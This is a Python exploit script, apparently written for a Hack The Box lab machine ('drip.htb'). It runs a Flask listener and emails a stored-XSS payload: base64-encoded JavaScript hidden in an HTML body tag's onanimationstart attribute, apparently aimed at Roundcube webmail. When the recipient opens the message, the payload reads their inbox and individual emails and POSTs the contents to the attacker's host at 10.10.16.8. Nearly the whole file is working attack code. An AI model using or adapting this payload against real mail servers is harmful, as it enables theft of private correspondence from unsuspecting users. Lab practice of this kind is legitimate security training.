import requests
import base64
from flask import Flask, request, jsonify
import threading
from bs4 import BeautifulSoup
import re
import json

mail_url = 'http://mail.drip.htb'
state = 'get_list'
n_mails = 0

# setup web server
app = Flask(__name__)

@app.route('/', methods=['POST'])
def test():
    action = request.args.get("action")
    if action == 'list':
        s = json.loads(request.data.decode())['exec']
        n_messages = int(re.findall(r'Messages \d+ to \d+ of (\d+)', s)[0])
        global n_mails, state
        n_mails = n_messages
        state = 'show_mail'
    elif action == 'show_mail':
        #print(request.data)
        soup = BeautifulSoup(request.data, 'html.parser')
        sender = soup.find_all("a", {"class": "rcmContactAddress"})[0].text
        receiver = soup.find_all("a", {"class": "rcmContactAddress"})[2].text
        subject = soup.find_all("h2", {"class": "subject"})[0].text.splitlines()[2].strip()
        message = soup.find_all("div", {"id": "messagebody"})[0].text
        print(f'UID: {request.args.get("uid")}')
        print(f"Sender: {sender}")
        print(f"Receiver: {receiver}")
        print(f"Subject: {subject}")
        print(f'Message:\n{message}')
    else:
        print(f'Unknown action: {action}')
    return ''

@app.route('/error', methods=['POST'])
def error():
    print(request.data)
    return ''

server_thread = threading.Thread(target=app.run, kwargs={'host':'0.0.0.0', 'port':5555})
server_thread.start()

def get_payload(path, **kwargs):
    # setup payload
    if kwargs:
        args_str = '?' + '&'.join([f'{k}={v}' for k, v in kwargs.items()])
    else:
        args_str = ''
    payload = f'''fetch('{mail_url}/{path}',{{method:'GET'}})
        .then((response) => {{
        return response.text();
        }})
        .then((data) => {{
            fetch('http://10.10.16.8:5555/{args_str}',{{method:'POST',mode:'no-cors',body:data}});
        }})
        .catch((error) => {{
            fetch('http://10.10.16.8:5555/error',{{method:'POST',mode:'no-cors',body:error}});
    }});'''
    payload = base64.b64encode(payload.encode()).decode()
    payload = f'''<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{{type:'text/javascript',text:'eval(atob(`{payload}`))'}})) foo=bar">
        Foo
        </body>'''
    return payload

def send_email(payload):
    data = {
        'name': 'a',
        'email': 'test12@drip.htb',
        'message': payload,
        'content': 'html',
        'recipient': 'bcase@drip.htb'
        #'recipient': 'test12@drip.htb'
    }

    # send payload
    requests.post('http://drip.htb/contact', data=data)
    

print('#### Getting list of emails ####')
payload = get_payload('?_task=mail&_action=list&_refresh=1&_layout=widescreen&_mbox=INBOX&_page=&_remote=1', action='list')
send_email(payload)
print('mail sent, waiting for results...')

while state == 'get_list':
    pass

print('#### Getting emails ####')
for i in range(1, n_mails+1):
    payload = get_payload(f'?_task=mail&_mbox=INBOX&_uid={i}&_action=show', action='show_mail', uid=i)
    send_email(payload)
    print(f'UID {i}: mail sent, waiting for results...')

server_thread.join()